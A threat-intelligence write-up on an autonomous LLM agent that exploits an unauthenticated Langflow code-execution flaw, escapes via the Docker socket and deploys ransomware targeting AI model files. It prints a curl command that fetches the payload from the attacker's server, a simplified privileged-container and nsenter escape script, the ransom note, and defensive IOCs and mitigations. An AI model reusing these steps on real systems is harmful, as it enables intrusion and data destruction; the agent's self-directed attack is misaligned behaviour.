JADEPUFFER Returns with ENCFORGE — Ransomware Built to Destroy AI Models
2026-07-21
On July 1, Sysdig's Threat Research Team documented something we hadn't seen before: an autonomous LLM agent running a full ransomware operation end-to-end. They called it JADEPUFFER. It entered through an unpatched Langflow instance, harvested credentials, moved laterally to a production database, encrypted 1,342 Nacos config records with a key it never saved, and demanded a ransom. No human steered it at any step.
That was eighteen days ago.
On July 19, JADEPUFFER came back to the same server. This time it deployed ENCFORGE — a compiled, UPX 5.20-packed Go 1.22.12 ransomware purpose-built to destroy AI infrastructure.

The vulnerability — CVE-2025-3248
Nothing changed on the entry side. Langflow versions before 1.3.0 expose /api/v1/validate/code without authentication. The endpoint passes user-supplied Python straight to exec() — no sandbox, no auth check, no input validation. You send a POST with arbitrary Python in the body, and the server runs it.
CVSS 9.8. CISA KEV since May 2025. A patch has existed for over a year.
But here's the thing: Langflow deployments sit adjacent to high-value infrastructure. They hold LLM API keys (OpenAI, Anthropic, HuggingFace), cloud credentials, connections to vector databases and object stores. A single unpatched instance is a skeleton key into the AI stack.
Phase 1 — Post-exploitation
After confirming code execution with id, uname -m, and hostname, JADEPUFFER swept the container for credentials — cloud keys, database connection strings, API tokens. It probed internal services via /dev/tcp for reachability, then replayed discovered credentials against internal databases and caches.
Standard post-exploitation stuff. What happened next was not standard.
Phase 2 — The Docker socket pivot
JADEPUFFER found /var/run/docker.sock and verified the Docker daemon was responsive. Access to the Docker socket is equivalent to root on the host. Any process that can write to it can instruct the daemon to create a privileged container with the host filesystem mounted, then read or write anywhere outside the original container's namespace.
The first attempt was simple — curl -m30 -o /tmp/.sk/lockd http://34.153.223[.]102:9191/lockd && chmod +x. It failed. ls /tmp/.sk/ returned nothing.

Phase 3 — Six scripts in five minutes
Rather than giving up, JADEPUFFER iterated. Over five minutes and 24 seconds, it built six Python scripts through the same Langflow RCE channel, each correcting a failure in the previous one:
| Time | File | Change |
|---|---|---|
| 12:07:01 | do.py v1 | Baseline curl --unix-socket wrapper |
| 12:07:25 | do.py v2 | Adds copy via /proc/<pid>/root |
| 12:08:08 | ns.py | Shared exec_in_bigrun() helper |
| 12:08:39 | x.py | One-shot throwaway container per command |
| 12:09:01 | h.py | Raw AF_UNIX socket HTTP client |
| 12:10:04 | deploy.py v1 | Dynamic host PID discovery, copy + try-run |
| 12:12:28 | deploy.py v2 | Live --lock run and post-run verification |
The first script was built line by line — one line per RCE call, keeping any single request inert for signature-based inspection. Starting with the second, the operator switched to single-shot base64-encoded scripts decoded inside exec(), avoiding shell-level base64 -d pattern searches entirely.
The final version, deploy.py v2, is a fully autonomous pipeline:
# Simplified — the real thing creates privileged Docker containers
# with PidMode: host and /:/host:rw bind mounts
host_pid = get_host_pid()
# Copy lockd from container to host via procfs
run('c1', ['nsenter','--target','1','--mount','--uts','--ipc','--net','--pid','--',
'sh','-c', f'cp /proc/{host_pid}/root/tmp/.sk/lockd /tmp/.sk/lockd'])
# Try-run (scan only, no encryption)
run('t1', ['nsenter','--target','1', ..., '/tmp/.sk/lockd --try-run'])
# Live run
run('r1', ['nsenter','--target','1', ..., 'nohup /tmp/.sk/lockd --lock --task-id gcp_h1'])Every escape container used Privileged: true, PidMode: host, NetworkMode: host, and Binds: ["/:/host:rw"]. That's full host root.
The --task-id gcp_h1 flag indicates this was tracked as a GCP target within a broader fleet campaign. A try-run earlier used gcp_test. This operator is running a campaign, not a one-off.

ENCFORGE — Built for AI infrastructure
Researchers retrieved the binary from http://34.153.223.102:9191/.lockd. The leading dot hides it from directory listings — GET /lockd returns 404, but GET / reveals .lockd in the index.
Threat intelligence platforms detected neither the packed nor unpacked hash. Zero hits.
The internal project name is encfile, with a companion keygen tool called keyforge referenced in error text. Both strings survive recompilation and serve as stable detection anchors.
Encryption
ENCFORGE uses AES-256-CTR for bulk encryption with an RSA-2048 key encapsulation mechanism. The embedded RSA-2048 public key is compiled into the binary:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7wZB6Q/Y0wZ7/Gax8i3Z
...
-----END PUBLIC KEY-----
Instead of whole-file encryption (the speed optimization LockBit and BlackCat use), ENCFORGE uses region-based encryption. Each encrypted file gets renamed with a .locked extension. The binary supports idempotent resume — it can restart after an interruption without corrupting files it already processed. It kills processes holding file locks before encrypting, self-deletes after running, and drops ransom notes as README, HOW_TO_DECRYPT, and README_DECRYPT.
There's no exfiltration path. No network dial, no cloud storage client, no Tor payment portal. This is single-extortion, destruction-first ransomware. The encryption is the threat.
The AI targeting list
The extension target list is approximately 180 file types. The AI and ML coverage is not incidental — it reaches across the complete modern ML stack:
.ckpt— TensorFlow/PyTorch checkpoints.h5— HDF5 (Keras, TensorFlow).onnx— ONNX model exchange.pb— TensorFlow protobuf.pt,.pth— PyTorch.safetensors— HuggingFace SafeTensors.ggml,.gguf— llama.cpp quantized LLM weights.faiss— FAISS vector indexes.arrow,.feather— Apache Arrow datasets.parquet— training datasets.tfrecord— TensorFlow records.npy,.npz— NumPy arrays (model weights, activations).duckdb— DuckDB (ML pipeline analytics)
The --include flag lets operators append campaign-specific formats. The built-in help text uses LoRA fine-tuning adapters and legacy GGML weights as examples. A generic file locker would not name LoRA adapters in its help text.
Windows anti-recovery in a Linux build
The binary carries live Windows anti-recovery code — vssadmin.exe and bcdedit.exe invocations for Volume Shadow Copy deletion and boot recovery disable. The process kill list includes MSSQLSERVER, sqlite3.exe, outlook.exe, winword.exe, onenote.exe. This is one Go codebase compiled per target OS, and a macOS build likely exists — the extension list targets .keychain, .keychain-db, and .xcodeproj.
The ransom note
!!! YOUR FILES HAVE BEEN ENCRYPTED !!!
All files in this directory and its subdirectories have been encrypted with
military-grade encryption.
HOW TO RECOVER YOUR FILES
Email us with your UNIQUE ID. We will send payment instructions and the
decryption key within 48 hours.
- You CANNOT recover your files without our private decryption key.
- If you do not contact us within 7 days, your decryption key will be
PERMANENTLY DELETED and your files will be UNRECOVERABLE.
- Do NOT attempt to rename, move, or modify the encrypted files.
- Do NOT attempt to use third-party recovery tools.
- Do NOT share this file. Each victim has a unique key.
Contact: e78393397@proton.me
The "each victim has a unique key" line suggests per-victim key issuance — one paid decryption can't be reused.
Same operator, upgraded toolkit
The extortion contact e78393397@proton.me is the same one from the first JADEPUFFER campaign. That's the strongest attribution link.
What changed:
| Prior campaign | This campaign | |
|---|---|---|
| Encryption | MySQL AES_ENCRYPT(), ephemeral key never stored | AES-256-CTR + RSA-2048 KEM |
| Scope | Single database server | Filesystem-wide, ~180 extensions |
| Tooling | Python scripts, throwaway one-liners | Compiled Go binary with CLI, keygen companion |
| Deployment | Direct RCE execution | Docker escape + procfs transport |
| AI targeting | Credential theft | Model destruction |
| Campaign tracking | None | --task-id gcp_h1, gcp_test |
The C2 also hosted staged CPython 3.14 interpreters at pv/bin/python, pv/bin/python3, and pv/bin/𝜋thon — the third using U+1D70B (MATHEMATICAL BOLD SMALL PI) as a homoglyph to evade basename string checks and pkill pattern matches.
The real cost
Here's what makes this different from traditional ransomware. Encrypted business files can be restored from backups. Encrypted production AI models often cannot.
A single training run for a production-grade, fine-tuned model costs $75,000 to $500,000 in cloud GPU compute and engineering time. But production environments run multiple specialized variants on shared storage. One ENCFORGE invocation encrypts all of them at once.
If training data sits on the same host (common), the organization must reconstruct its proprietary dataset before retraining can begin. Same problem for inference artifacts like vector indexes — they can only be rebuilt after the underlying data is restored.
Sysdig's Michael Clark put it well: "Not only can the ransom cost you millions of dollars, but rebuilding and retraining your models can cost $75,000 to $500,000 each."
Indicators of compromise
Network:
- Source:
45.131.66[.]106(AS49453, Netherlands) - C2:
34.153.223[.]102(GCP), port9191 - Binary delivery:
hxxp://34.153.223[.]102:9191/.lockd
File hashes (SHA-256):
| File | Hash |
|---|---|
| lockd (packed, UPX 5.20) | 8cb0c223b018cecef1d990ec81c67b826eb3c30d54f06193cf69969e9a8baea2 |
| lockd (unpacked, Go 1.22.12) | ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328 |
Other IOCs:
- Extortion contact:
e78393397@proton.me - Encrypted file suffix:
.locked - Ransom notes:
README,HOW_TO_DECRYPT,README_DECRYPT - Campaign task IDs:
gcp_h1,gcp_test - RSA-2048 DER SHA-256:
2378bf45bb54fb2defc460063c9b43e09870741b62692b7f6acbc3cd7898bb3
What defenders should do
Patch Langflow. Version 1.3.0 fixed CVE-2025-3248. If you're on anything earlier, assume compromise and rotate every credential the process could reach — AI provider keys, cloud credentials, database secrets.
Restrict Docker socket access. Langflow has no legitimate reason to create containers. If /var/run/docker.sock must be mounted, use a socket proxy scoped to only the specific API calls needed. Alert on application processes calling Docker container-creation APIs, containers with Privileged: true or PidMode: host, and nsenter from inside a container.
Protect model assets. Apply filesystem-level access controls to model weight directories. Keep offline or immutable snapshots of production model artifacts. Monitor for mass .locked file creation in ML asset directories.
The threat model has changed. An attacker entering through an exposed AI framework now arrives with a payload designed for what that framework connects to. Model artifacts belong in your backup and recovery plan alongside your databases.